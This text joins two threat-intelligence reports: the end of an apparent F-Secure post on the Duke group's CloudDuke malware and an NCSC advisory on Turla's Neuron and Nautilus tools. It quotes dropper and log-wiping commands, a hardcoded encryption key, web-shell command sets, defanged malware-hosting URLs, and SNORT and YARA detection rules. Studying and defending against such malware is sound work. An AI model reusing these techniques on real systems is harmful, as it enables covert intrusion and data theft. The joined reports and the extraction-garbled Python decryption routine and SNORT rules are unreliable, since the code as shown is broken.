mentioned method of downloading from compromised websites. We have also observed two distinct trojan components in the CloudDuke toolset. The first of these, internally called BastionSolution, is the trojan that Palo Alto Networks described in their research into MiniDionis. Interestingly, BastionSolution appears to functionally be an exact copy of SeaDuke with the only real difference being the choice of programming language. BastionSolution also makes significant use of a code framework that is apparently internally called Z. This framework provides classes for functionality such as encryption, compression, randomization and network communications. http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ A list of classes in the BastionSolution trojan, including multiple classes from the Z framework. Classes from the same Z framework, such as the encryption and randomization classes, are also used by the second trojan component of the CloudDuke toolset. This second component, internally called OneDriveSolution, is especially interesting because it relies on Microsofts cloud storage service OneDrive as its command and control channel. To achieve this, OneDriveSolution will attempt to log into OneDrive with a preconfigured username and password. If successful, OneDriveSolution will then proceed to copy data from the victims computer to the OneDrive account. It will also search the OneDrive account for files containing commands for the malware to execute. A list of classes in the OneDriveSolution trojan, including multiple classes from the Z framework. All of the CloudDuke solutions use the same loader, a piece of code whose primary purpose is to decrypt the embedded, encrypted solution, load it in memory and execute it. The Duke group has often employed loaders for their malware but unlike the previous loaders they have used, the CloudDuke loader is much more versatile with support for multiple methods of loading and executing the final payload as well as the ability to write to disk and execute additional malware components. CloudDuke spear-phishing campaigns and similarities with CozyDuke CloudDuke has recently been spread via spear-phishing emails with targets reportedly including organizations such as the US Department of Defense. These spear-phising emails have contained links to compromised websites hosting zip archives that contain CloudDuke-laden executables. In most cases, executing these executables will have resulted in two additional files being written to the victims hard disk. The first of these files has been a decoy, such as an audio file or a PDF file while the second one has been a CloudDuke loader embedding a CloudDuke downloader, the so-called DropperSolution. In these cases, the victim has been presented with the decoy file while in the background the downloader has proceeded to download and execute one of the CloudDuke trojans, OneDriveSolution or BastionSolution. http://www.thedailybeast.com/articles/2015/07/18/russian-hackers-target-the-pentagon.html Example of one of the decoy documents employed in the CloudDuke spear-phishing campaigns. It has apparently been copied by the attackers from here. Interestingly, however, some of the other CloudDuke spear-phishing campaigns we have observed this July have born a striking resemblance to CozyDuke spear-phishing campaigns seen almost exactly a year ago, in the beginning of July 2014. In both spear-phishing campaigns, the decoy document has been the exact same PDF file, a US letter fax test page (28d29c702fdf3c16f27b33f3e32687dd82185e8b). Similarly, the URLs hosting the malicious files have, in both campaigns, purported to be related to eFaxes. It is also interesting to note, that in the case of the CozyDuke-inspired CloudDuke spear-phishing campaign, the downloading and execution of the malicious archive linked to in the emails has not resulted in the execution of the CloudDuke downloader but in the execution of the BastionSolution component thereby skipping one step from the process described for the other CloudDuke spear-phishing campaigns. https://www.ndi.org/files/NDI20Georgia_April20201520Poll_Public20Issues_ENG_VF_0.pdf The US letter fax test page decoy employed in both CloudDuke and CozyDuke spear-phishing campaigns. Increasingly using cloud services to evade detection CloudDuke is not the first time we have observed the Duke group use cloud services in general and Microsoft OneDrive specifically as part of their operations. Earlier this spring we released research on CozyDuke where we mentioned observing CozyDuke sometimes either directly use a OneDrive account to exfiltrate stolen data or alternatively CozyDuke downloading Visual Basic scripts that would copy stolen files to a OneDrive account and sometimes even retrieve files containing additional commands from the same OneDrive account. In these previous cases the Duke group has only used OneDrive as a secondary communication channel but still relied on more traditional CC channels for most of their actions. It is therefore interesting to note that CloudDuke actually enables the Duke group to rely solely on OneDrive for every step of their operation from downloading the actual trojan, passing commands to the trojan and finally exfiltrating stolen data. By relying solely on 3rd party web services, such as OneDrive, as their command and control channel, we believe the Duke group is trying to better evade detection. Large amounts of data being transferred from an organizations network to an unknown web server easily raises suspicions. However, data being transferred to a popular cloud storage service is normal. What better way for an attacker to surreptitiously transfer large amounts of stolen data than the same way people are transferring that same data every day for legitimate reasons. ( Coincidentally, the implications of 3rd party web services being used as command and control channels is also the subject of an upcoming talk at the VirusBulletin 2015 conference). Directing limited resources towards evading detection and staying ahead of defenders Developing even a single multipurpose malware toolset, never mind many, requires time and resources. Therefore it seems logical to attempt to reuse code such as supporting frameworks between different toolsets. The Duke group, however, appear to have taken this a step further with SeaDuke and the CloudDuke component BastionSolution, by rewriting the same code in multiple programming languages. This has the obvious benefits of saving time and resources by providing two malware toolsets, that while similar on the inside, appear completely different on the outside. This way, the discovery of one toolset does not immediately lead to the discovery of the second toolset. The Duke group, long suspected of ties to the Russian state, have been running their espionage operation for an unusually long time and - especially lately - with unusual brazenness. These latest CloudDuke and SeaDuke campaigns appear to be a clear sign that the Dukes are not planning to stop any time soon. Research and post by Artturi (lehtior2) https://www.f-secure.com/documents/996508/1030745/CozyDuke https://www.virusbtn.com/conference/vb2015/abstracts/R-Lehtio.xml https://twitter.com/lehtior2 F-Secure detects CloudDuke as Trojan:W32/CloudDuke. B and Trojan:W64/CloudDuke. B Samples: 04299c0b549d4a46154e0a754dda2bc9e43dff76 2f53bfcd2016d506674d0a05852318f9e8188ee1 317bde14307d8777d613280546f47dd0ce54f95b 476099ea132bf16fa96a5f618cb44f87446e3b02 4800d67ea326e6d037198abd3d95f4ed59449313 52d44e936388b77a0afdb21b099cf83ed6cbaa6f 6a3c2ad9919ad09ef6cdffc80940286814a0aa2c 78fbdfa6ba2b1e3c8537be48d9efc0c47f417f3c 9f5b46ee0591d3f942ccaa9c950a8bff94aa7a0f bfe26837da22f21451f0416aa9d241f98ff1c0f8 c16529dbc2987be3ac628b9b413106e5749999ed cc15924d37e36060faa405e5fa8f6ca15a3cace2 dea6e89e36cf5a4a216e324983cc0b8f6c58eaa8 e33e6346da14931735e73f544949a57377c6b4a0 ed0cf362c0a9de96ce49c841aa55997b4777b326 f54f4e46f5f933a96650ca5123a4c41e115a9f61 f97c5e8d018207b1d546501fe2036adfbf774cfd Compromised servers used for command and control: hxxps://cognimuse.cs.ntua.gr/search.php hxxps://portal.sbn.co.th/rss.php hxxps://97.75.120.45/news/archive.php hxxps://portal.sbn.co.th/rss.php hxxps://58.80.109.59/plugins/search.php Compromised websites used to host CloudDuke: hxxp://flockfilmseries.com/eFax/incoming/5442.ZIP hxxp://www.recordsmanagementservices.com/eFax/incoming/150721/5442.ZIP hxxp://files.counseling.org/eFax/incoming/150721/5442.ZIP TLP WHITE TLP WHITE Page 1 of 27 Turla group using Neuron and Nautilus tools alongside Snake malware Version 2.0 Reference: NCSC-Ops/35-17 23 November 2017 Crown Copyright 2017 TLP WHITE TLP WHITE Page 2 of 27 About this document This report provides new intelligence by the NCSC on two tools used by the Turla group to target the UK. It contains IOCs and signatures for detection by network defenders. Handling of the Report Information in this report has been given a Traffic Light Protocol (TLP) of WHITE, which means it can be shared within and beyond the CiSP community with no handling restrictions. Disclaimer This report draws on reported information and NCSC investigations into Turla activity in the UK. TLP WHITE TLP WHITE Page 3 of 27 Contents Introduction ............................................................................................................................................ 4 Neuron Analysis ................................................................................................................................... 5 Neuron Service ................................................................................................................................. 6 Associated Files ........................................................................................................................... 6 Infection Vector Install ............................................................................................................. 7 Persistence .................................................................................................................................... 7 Network Communications ........................................................................................................... 8 Capabilities .................................................................................................................................. 10 Neuron Client .................................................................................................................................. 10 Associated Files ......................................................................................................................... 10 Persistence .................................................................................................................................. 11 Configuration ............................................................................................................................... 12 Network Communications ......................................................................................................... 12 Capability ..................................................................................................................................... 13 Associated Files ......................................................................................................................... 15 Configuration ............................................................................................................................... 15 Communications ......................................................................................................................... 17 Capability ..................................................................................................................................... 18 Appendix A .......................................................................................................................................... 20 Neuron Client .................................................................................................................................. 20 Neuron Service ............................................................................................................................... 21 Neuron Yara .................................................................................................................................... 22 Nautilus ................................................................................................................................................ 25 Nautilus Yara................................................................................................................................... 25 Additional Indicators for Forensic Analysis .................................................................................... 27 TLP WHITE TLP WHITE Page 4 of 27 Introduction Neuron and Nautilus are malicious tools designed to operate on Microsoft Windows platforms, primarily targeting mail servers and web servers. The NCSC has observed these tools being used by the Turla group to maintain persistent network access and to conduct network operations. The Turla group use a range of tools and techniques, many of which are custom. Using their advanced toolkit, the Turla group compromise networks for the purposes of intelligence collection. The Turla group is known to target government, military, technology, energy and commercial organisations. The Turla group has operated on targets using a rootkit known as Snake for many years. Like Neuron and Nautilus, Snake provides a platform to steal sensitive data, acts as a gateway for internal network operations and is used to conduct onward attacks against other organisations. The Turla group are experienced in maintaining covert access through incident response activities. They infect multiple systems within target networks and deploy a diverse range of tools to ensure that they retain a foothold back onto a victim even after the initial infection vector has been mitigated. The NCSC has observed both Neuron and Nautilus being used in conjunction with the Snake rootkit. In a number of instances, one or both of these tools has been deployed following the successful installation of Snake. The NCSC believes that Neuron and Nautilus are another component of the wider Turla campaign and are not acting as replacements for the Snake rootkit. It is likely that these tools have seen wider deployment since the Snake rootkit has been reported on by the information security industry, providing the group with additional methods of access. This advisory provides information to detect Neuron and Nautilus infections. The NCSC encourages any organisation that has previously experienced a compromise by the Turla group to be diligent in checking for the presence of these additional tools. Whilst they are commonly deployed alongside the Snake rootkit, these tools can also be operated independently. TLP WHITE TLP WHITE Page 5 of 27 Neuron Analysis Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network. The main method of communication between the Neuron client and service is via HTTP requests. The Neuron service creates its own HTTP listener and waits for requests to a configured Neuron URL endpoint. These endpoint names are themed around legitimate web services, such as Microsoft Exchange and Microsoft IIS, which further helps malware traffic appear legitimate. Details of these endpoints are provided in the Neuron service communications section of this advisory. A subset of Neuron services analysed by the NCSC can receive communications via pipes alongside the HTTP listener, however this functionality is missing from some samples. One of the main pieces of functionality implemented within Neuron is the synchronising of StorageFile objects and StorageScript objects between the client and service. These are described in more detail in the Network Communications section. This malware is referred to as Neuron due to the presence of a PDB string within the binary and various other references throughout. c:\Develop\internal\neuron-client\dropper-svc\obj\Release\dropper-svc.pdb TLP WHITE TLP WHITE Page 6 of 27 Neuron Service The Neuron service is typically installed on compromised infrastructure such as mail and web servers, and listens for HTTP requests from infected clients. In this way, Neuron service acts as a Command Control (C2) server inside the victim network for infected Neuron clients. While Neuron service examples observed by the NCSC have been running on servers, it is also possible for it to be run on Windows clients. The installation of a C2 server inside the victim network allows the actor to evade detection by network gateway based monitoring. While external communications are required for the actor to make connections back to their upstream C2 infrastructure, these communications are often encrypted using the legitimate TLS configuration of the victim network. The Neuron service and client model enables the communications to appear legitimate, with endpoint victims running the client, and the actor initiating connections to the (typically) outward-facing Neuron infected server. Associated Files Name Microsoft. Exchange. Service.exe Description Neuron Service MD5 0f12268221e27406351a6313f902b498 SHA1 b0dbdc81a0e367330007b7e593d8dabf92ca7afd SHA256 d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 Size 43008 Name w3wpdiag.exe Description Neuron Service MD5 371b4380080e3d94ffcae1a7e9a0d5e2 SHA1 f7088075d1c798f27b0d269c97dc877ff16f1401 SHA256 2986bae15cfa78b919d21dc070be944e949a027e8047a812026e35c66ab17353 Size 59392 Name Updater.exe Description Neuron Service MD5 8229622a9790d75e09a099e8758d5703 SHA1 10586913ceeecd408da4e656c29ed4e91c6b758e SHA256 2f4d6a3c87770c7d42d1a1b71ed021a083b08f69ccaf63c15428c7bc6f69cb10 Size 44544 TLP WHITE TLP WHITE Page 7 of 27 Name w3wpdiag.exe Description Neuron Service MD5 a3bdc385cf68019449027bd6d8cecb4d SHA1 fe8da5a1e62a8d4f627834b0f26c802a330d8d45 SHA256 0f4e9e391696ed8b9172985bb43cca7d7f2c8a4ae0493e4bf1f15b90f7138259 Size 58880 Name dropper-svc.exe Description Dropper for the Neuron service MD5 d6ef3c8f2c3f3ddffbb70f5dadfa982c SHA1 934b288075c122165897276b360c61e77cb7bde0 SHA256 fa543de359d498150cbcb67c1631e726a4b14b0a859573185cede5b12ad2abfb Size 85008 Infection Vector Install The infection vector for the Neuron service is typically via exploitation of application layer vulnerabilities in server software, server misconfigurations, or brute-force attacks on administrative accounts. Neuron service requires a dropper that essentially performs the same actions as the client dropper, embedding the final payload using the same method detailed in the Neuron client section. The service dropper takes a parameter of the path where the payload will be dropped. Following execution, the dropper modifies the last access time of the deployed files to match the timestamps of the legitimate file EdgeTransport.exe. It is advised that forensic investigators conduct a search for files that have this timestamp applied. Finally, the dropper executes the following command to remove all installation log files: cmd.exe /c del .InstallLog .InstallState Persistence In order to persist on the compromised hosts, Neuron service installs itself as an automatic service, allowing the infection to persist through a server restart. The Neuron service can be manually stopped and removed, and contains no method of re- establishing execution. TLP WHITE TLP WHITE Page 8 of 27 The Neuron service attempts to masquerade as legitimate Microsoft Exchange or Microsoft IIS services. A list of the service names and descriptions used within Neuron samples is as follows: SERVICE NAME DISPLAY NAME DESCRIPTION MSExchangeService Microsoft Exchange Service Host service for the Microsoft Exchange Server management provider. If this service is stopped or disabled, Microsoft Exchange cannot be managed. W3WPDIAG Microsoft IIS Diagnostics Service Host service for the Microsoft IIS management provider. If this service is stopped or disabled, Microsoft IIS cannot be managed. Updater Updater Host service for software update. If this service is stopped or disabled, software cannot be update. Network Communications Communications between the client and service are via HTTP requests. The service will establish a HTTP listener, commonly on port 443 (https), however instances have been analysed where port 80 (http) is used instead. The listener waits for requests on the host matching specific URIs defined by the configuration. The following have been defined in the configuration in Neuron samples analysed by the NCSC: Neuron clients send requests to the defined endpoint in order to communicate with the service. In order to make the traffic from clients look legitimate, the actor has chosen to name their endpoints with common Microsoft Windows terms. Communications are encrypted using RC4 as an additional layer of security. The RC4 key is sent to the connecting client using a pre-configured RSA key. Parameters for a request are sent in the POST body, with the following values possible: https://:443/ews/exchange/ https://:443/W3SVC/ https://:80/W3SVC/ cid cadataKey cadata cadataSig TLP WHITE TLP WHITE Page 9 of 27 The values for these parameters are base64 encoded and RC4 encrypted using the key exchanged between the client and service. Each parameter performs a different task within the service for example, cid requests the current RC4 key and cadata sends an instruction to be run. An example HTTP communication is shown below: The following SNORT rules can be used to alert on this traffic. Network collection will need to be in place between the client and server in most instances, this is between two machines within the same LAN: In addition to HTTP communications, some observed Neuron service samples have functionality that enables the clients to communicate with it via pipes, for example: pipe:///Winsock2/w3svc POST https://domain/ews/exchange/exchange.asmx HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: domain Content-Length: variable Expect: 100-continue Connection: Keep-Alive cadataurl_encoded_b64 alert tcp HOME_NET any - EXTERNAL_NET any (flow: established,from_client msg: Web/request\:POST - Neuron A content: cadata fast_pattern content: Content- Type3a application/x-www-form-urlencoded content: Expect3a 100-continue pcre: /\ncadata[a-zA-Z0-9]1,5000/ content: POST http_method rev: 1 priority: 1) alert tcp HOME_NET any - EXTERNAL_NET any (flow: established,from_client msg: Web/request\:POST - Neuron B content: cadata fast_pattern content: Content- Type3a application/x-www-form-urlencoded content: Expect3a 100-continue pcre: /\ncadataKey[a-zA-Z0-9]1,5000/ content: POST http_method rev: 1 priority: 1) alert tcp HOME_NET any - EXTERNAL_NET any (flow: established,from_client msg: Web/request\:POST - Neuron C content: cadata fast_pattern content: Content- Type3a application/x-www-form-urlencoded content: Expect3a 100-continue pcre: /\ncid[a-zA-Z0-9]1,5000/ content: POST http_method rev: 1 priority: 1) alert tcp HOME_NET any - EXTERNAL_NET any (flow: established,from_client msg: Web/request\:POST - Neuron D content: cadata fast_pattern content: Content- Type3a application/x-www-form-urlencoded content: Expect3a 100-continue pcre: /\ncadataSig[a-zA-Z0-9]1,5000/ content: POST http_method rev: 1 priority: 1) TLP WHITE TLP WHITE Page 10 of 27 Capabilities The main functionality of the Neuron service is to return and synchronise StorageFile and StorageScript objects between the client and service. A StorageFile object contains information about a file including its name, modified date and the file contents a StorageScript object contains instructions. There are multiple instruction types, including the following: Executing a command using cmd.exe Creating new StorageFiles Downloading specified or all StorageFiles Neuron Client The Neuron client component is typically installed on endpoint machines within a victim network. Command Control (C2) is conducted by the Neuron service. The client is designed to collect, package and send documents to the service component for onward exfiltration. Associated Files Name neuron-client.exe Description Neuron Client MD5 4ed42233962a89deaa89fd7b989db081 SHA1 cf731ee0af5c19231ff51af589f7434c0367d508 SHA256 a96c57c35df18ac20d83b08a88e502071bd0033add0914b951adbd1639b0b873 Size 55808 Name Sign.exe Description Dropper for the Neuron client MD5 3cd5fa46507657f723719b7809d2d1f9 SHA1 34ddc14b9a04eba98c3aa1cb27033e12ec847e03 SHA256 a6dbc36c472b3ba70a98efd0db35e75c340086be15d3c3ab4e39033604d0bcf9 Size 115712 Name mydoc.doc Description Macro document that drops and runs Sign.exe (client dropper) MD5 66f4f1384105ce7ee1636d34f2afb1c9 SHA1 3f23d152cc7badf728dfd60f6baa5c861a500630 SHA256 42fbb2437faf68bae5c5877bed4d257e14788ff81f670926e1d4bbe731e7981b Size 591360 TLP WHITE TLP WHITE Page 11 of 27 Name N/A Description Macro document that drops and runs Sign.exe (client dropper) MD5 0e430b6b203099f9c305681e1dcff375 SHA1 845f3048fb0cfbdfb35bf6ced47da1d91ff2e2b1 SHA256 bbe3700b5066d524dd961bd47e193ab2c34565577ce91e6d28bdaf609d2d97a8 Size 590336 Infection Vector and Install The Neuron client infection vector appears to be via spear-phishing victims with documents containing macros. When a document is opened, and macros are enabled, a base64 encoded blob is constructed and written to the temp directory as Signature.crt this is then decoded using the legitimate Microsoft binary certutil.exe, for example: certutil.exe -decode TEMP\Signature.crt TEMP\Sign.exe The resulting executable is the Neuron client dropper, which is responsible for setting up any initial configuration, establishing persistence and dropping the main payload to disk. The main payloads are embedded in the dropper executable and are GZIP compressed and RC4 encrypted with a hardcoded key. The dropper is also responsible for deploying any legitimate DLLs that may also be required these are stored in the same way. All files are placed into the directory from which the dropper was executed. Persistence The Neuron client executable contains no functionality to establish persistence. Instead, the dropper handles this for the client by creating a scheduled task, enabling it to persist after a reboot. The task is scheduled to run every 12 minutes (PT12M), with a task ID of Microsoft Corporation and a task description constructed from a string retrieved from a randomly selected registry value. To build the task description, a list of value names of length 9 or greater but not containing \ are retrieved from HKLM\\Software\\Microsoft registry. One of these values is selected and prefixed to the string updater. This is then used as the description for the scheduled task. TLP WHITE TLP WHITE Page 12 of 27 Configuration The Neuron client configuration is stored in the registry as JSON it must be set up by the dropper before the client is run as no defaults are specified. The configuration includes the domains where Neuron service implants have been deployed, so that the client can communicate with them. The configuration also specifies a beacon interval for each domain, along with a keep alive interval and time wait interval. An example of the server configuration in JSON representation, taken from a Neuron client dropper, is as follows: Network Communications Communications are detailed in the Neuron service section. The Neuron client and service primarily communicate via HTTP requests. As an extra layer of security, the client RC4 encrypts any data being sent. The key used is the Machine GUID retrieved from the registry (SOFTWARE\Microsoft\Cryptography\MachineGuid) if this is not set then the default key 8d963325-01b8-4671-8e82-d0904275ab06 is used. Connect: [ URL: https://removed/ews/exchange/exchange.asmx, Interval: 17 , URL: https://removed//ews/exchange/exchange.asmx, Interval: 32 ], KeepAliveInterval: 7, CmdTimeWait: 5 TLP WHITE TLP WHITE Page 13 of 27 Capability Once loaded the Neuron Client will loop indefinitely, performing a sync of storage files with the Neuron service. The interval between synchronisations is specified in the configuration by the CmdTimeWait value. In order to synchronise with the service, the client will retrieve all local StorageFile objects and all StorageFiles on the service (without file data) and compare these for differences. The client retrieves the StorageFiles from the service by sending a POST request with the following data within the parameter cadata: This is encrypted with RC4 and then base64 encoded before being sent. The service will respond with a list of all StorageFile metadata (i.e. name and date of each StorageFile). This is then used to determine which StorageFiles the client is missing, as well as any files which the service is missing. The client will send any required files (including file data) to the service by sending the following command data: Where a storage file object has a JSON representation as follows: Finally, the client will download all missing StorageFiles from the service by sending the following command data: cmd: 0, data: cmd: 1, data: [ list_of_storage_files ] name: name, data: data, date: date cmd: 2, data: array_of_request_storage_files TLP WHITE TLP WHITE Page 14 of 27 Where the sent data contains the required StorageFile names, as follows: These new files are then written to disk, and added to the clients list of StorageFiles. [ name: storage.file.1 , name: storage.file.2 ] TLP WHITE TLP WHITE Page 15 of 27 Nautilus Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name nautilus-service.dll, again sharing some resemblance to Neuron. The main payload and configuration of Nautilus is encrypted within a covert store on disk which is located in \ProgramData\Microsoft\Windows\Caches\. The loader DLL will access this covert store to decrypt the payload (oxygen.dll), which is then loaded into a target process via reflective loading. The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk. Associated Files Name dcomnetsrv.dll Description Nautilus Loader DLL MD5 2f742ec3bb7590602bc3e97326f2476a SHA1 9d280e3ef1b180449086dda5b92a7b9bbe63dee4 SHA256 a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 Size 121344 Name oxygen.dll Description Nautilus Injected payload MD5 ea874ac436223b30743fc9979eed5f2f SHA1 5ed61ec7de11922582f07c3488ef943b439ee226 SHA256 cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8 Size 620568 Persistence Nautilus achieves persistence by running as a service, dcomnetsrv, which is set to automatically start. It is very likely that this is established by the Nautilus dropper, similar to the Neuron service dropper however, the NCSC has not yet analysed a sample of this file. Configuration The configuration for Nautilus is stored encrypted within a covert store that was located in \ProgramData\Microsoft\Windows\Caches\. TLP WHITE TLP WHITE Page 16 of 27 The server configuration block, which defines the port and URL for Nautilus to listen on, is passed in the identifier config_listen.system. A sample configuration is shown below: protohttps host port443 paramOWA-AUTODISCOVER-EWS Nautilus also stores several other pieces of contextual information within the covert store under the identifier ctx.system, including an RSA public key: -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAg4r6SSnj2PnYbe6C4H8c M7162eRSRTE8BYW8cTGdFPSiDiVOblImyddBLu/fW7MScBUsmg2l9SVyvJrHJk 0xnr7PRH9Dq7IcTYzQPMSsG1nC2Lej09EtilKwAQP08MIpiredzgXwom3rlH0Trc HiKxjLhQcuK0Mllsq54gYPaoi6LkZG/lUxhWuGI1M2i3/dHp40vbwaaL5Sotxuv jSytDsU75U5TrCAHVMykiLi/x7PKg40JQoYGMSOPUJsx87i/uy3uHoecl2ns038 b70Gh6KJ4x5mwaKjMRsSm8PUN6ccHSyqetpXuTXoKU5dEDIQLNAwXTZY40d/aTEx uQIDAQAB -----END PUBLIC KEY----- The covert store uses a proprietary format to store data. This format stores separate streams (i.e. one for the config and one for the context) with each split into chunks of 4096 bytes and encrypted using RC4. The offset to the next chunk is calculated by taking the decrypted int value at offset 0xFF8 of the decrypted chunk, shifting this left by 0xC and then adding 0x10000. For the first chunk, this initial int value is at offset 0xB4 of the header. A default RC4 key is used to decrypt the first chunk this key is hardcoded into Nautilus as 1B1440D90FC9BCB46A9AC96438FEEA8B but is passed into a function that trims the length to 31 bytes, resulting in the final 32 byte initial RC4 key being 1B1440D90FC9BCB46A9AC96438FEEA8\x00. The RC4 implementation used for encryption of the covert store has been modified from a standard implementation. This may be an attempt to frustrate decryption however, it is easily spotted when reverse engineering the sample. TLP WHITE TLP WHITE Page 17 of 27 The following Python implementation duplicates the modified RC4 XOR loop: A covert store can be identified by RC4 decrypting the 4 bytes at offset 0xFFFC with the default RC4 key followed by comparison with the magic bytes 0x3a29bd32. Communications Communication with clients is performed in a similar fashion to Neuron. Nautilus listens for incoming connections from clients on port 443 that are addressed to the URL /OWA-AUTODISCOVER-EWS this URL path could be modified. Nautilus is commonly installed on a victim mail server, enabling the pre-installed TLS configuration to be used. Data sent to the service is encoded in the referrer header, which is masquerading as a legitimate Bing search. The format string used to create this is as follows: Referer: http://www.bing.com/search?qsgoSubmitqsnpqssc0-11sp- 1skcvidsfirst21FORMs def rc4(data, key): x 0 box range(256) for i in range(256): x(x box[i] ord(key[ilen(key)])) 256 box[i], box[x] box[x], box[i] out [] key [] i box[1] j box[i] box[i] i box[1] j for char in data: sbb box[i 256] i 1 sbb j kb box[sbb 256] out.append(chr(ord(char) kb)) return .join(out) TLP WHITE TLP WHITE Page 18 of 27 Capability The malware can take commands from connecting clients to perform on the infected host. The commands take the format O_001, O_002 and so on. A subset of these commands allow Nautilus to be tasked with the following: O_001: Execute a cmd.exe command O_002: Read file O_003: Write file O_007: Delete file O_008: GetTempPathA O_009: Sleep O_010: Create directory O_011: Check if directory O_012 Duplicate of O_011 There also appear to be some separately processed commands containing the following functionality: O_100 Shutdown (implant) O_101 Uninstall TLP WHITE TLP WHITE Page 19 of 27 ErrorFE.aspx Alongside the Neuron and Nautilus toolkits, the NCSC identified a file named errorFE.aspx. This file was installed on a number of victims following the successful exploitation of web application software, and provides additional persistence to enable the deployment of further tools. The script defines its working directory as the value of the Windows environment variable temp, using this location to drop and execute files and collect data. This script accepts web requests and extracts the cookie parameter valid data in the cookie is base64 encoded and AES encrypted using hardcoded values. The script supports the processing of multiple cookies from a single request, indicating it is possible to issue multiple commands in a single request. When the cookie value is decoded and decrypted, the script expects one of the following commands followed by any additional parameters: Command Function put Accepts a file name and writes the contents of data request parameter to a file in the working directory update Overwrites the shell itself with the content of the data request parameter time Updates the timestamp on a specific file with a specified timestamp (creation, last write and access). cmd Executes a provided command using cmd.exe del Deletes a specified file get Gets a specified filename from the working directory and returns its contents to the requestor TLP WHITE TLP WHITE Page 20 of 27 Appendix A Neuron Client File Name neuron-client.exe Description Neuron Client File Size (bytes) 55808 MD5 4ed42233962a89deaa89fd7b989db081 SHA1 cf731ee0af5c19231ff51af589f7434c0367d508 SHA256 a96c57c35df18ac20d83b08a88e502071bd0033add0914b951adbd1639b0b873 File Name Sign.exe Description Dropper for the Neuron Client File Size (bytes) 115712 MD5 3cd5fa46507657f723719b7809d2d1f9 SHA1 34ddc14b9a04eba98c3aa1cb27033e12ec847e03 SHA256 a6dbc36c472b3ba70a98efd0db35e75c340086be15d3c3ab4e39033604d0bcf9 File Name mydoc.doc Description Macro document that drops and runs Sign.exe (client dropper) File Size (bytes) 591360 MD5 66f4f1384105ce7ee1636d34f2afb1c9 SHA1 3f23d152cc7badf728dfd60f6baa5c861a500630 SHA256 42fbb2437faf68bae5c5877bed4d257e14788ff81f670926e1d4bbe731e7981b File Name N/A Description Macro document that drops and runs Sign.exe (client dropper) File Size (bytes) 590336 MD5 0e430b6b203099f9c305681e1dcff375 SHA1 845f3048fb0cfbdfb35bf6ced47da1d91ff2e2b1 SHA256 bbe3700b5066d524dd961bd47e193ab2c34565577ce91e6d28bdaf609d2d97a8 TLP WHITE TLP WHITE Page 21 of 27 Neuron Service File Name Microsoft. Exchange. Service.exe Description Neuron Service File Size (bytes) 43008 MD5 0f12268221e27406351a6313f902b498 SHA1 b0dbdc81a0e367330007b7e593d8dabf92ca7afd SHA256 d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 File Name w3wpdiag.exe Description Neuron Service File Size (bytes) 59392 MD5 371b4380080e3d94ffcae1a7e9a0d5e2 SHA1 f7088075d1c798f27b0d269c97dc877ff16f1401 SHA256 2986bae15cfa78b919d21dc070be944e949a027e8047a812026e35c66ab17353 File Name Updater.exe Description Neuron Service File Size (bytes) 44544 MD5 8229622a9790d75e09a099e8758d5703 SHA1 10586913ceeecd408da4e656c29ed4e91c6b758e SHA256 2f4d6a3c87770c7d42d1a1b71ed021a083b08f69ccaf63c15428c7bc6f69cb10 File Name w3wpdiag.exe Description Neuron Service File Size (bytes) 58880 MD5 a3bdc385cf68019449027bd6d8cecb4d SHA1 fe8da5a1e62a8d4f627834b0f26c802a330d8d45 SHA256 0f4e9e391696ed8b9172985bb43cca7d7f2c8a4ae0493e4bf1f15b90f7138259 File Name dropper-svc.exe Description Dropper for the Neuron service File Size (bytes) 85008 MD5 d6ef3c8f2c3f3ddffbb70f5dadfa982c SHA1 934b288075c122165897276b360c61e77cb7bde0 SHA256 fa543de359d498150cbcb67c1631e726a4b14b0a859573185cede5b12ad2abfb TLP WHITE TLP WHITE Page 22 of 27 Neuron Yara rule neuron_common_strings meta: description Rule for detection of Neuron based on commonly used strings author NCSC UK hash d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 strings: strServiceName MSExchangeService ascii strReqParameter_1 cadataKey wide strReqParameter_2 cid wide strReqParameter_3 cadata wide strReqParameter_4 cadataSig wide strEmbeddedKey PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNm clpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVb HlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZH VsdXMPEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU wide strDefaultKey 8d963325-01b8-4671-8e82-d0904275ab06 wide strIdentifier MSXEWS wide strListenEndpoint 443/ews/exchange/ wide strB64RegKeySubstring U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo wide strName neuron_service ascii dotnetMagic BSJB ascii condition: (uint16(0) 0x5A4D and uint16(uint32(0x3c)) 0x4550) and dotnetMagic and 6 of (str) TLP WHITE TLP WHITE Page 23 of 27 rule neuron_standalone_signature meta: description Rule for detection of Neuron based on a standalone signature from .NET metadata author NCSC UK hash d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 strings: a eb073d151231011234080e12818d1d051281311d1281211d1281211d128121081d1281211d1281211d128121 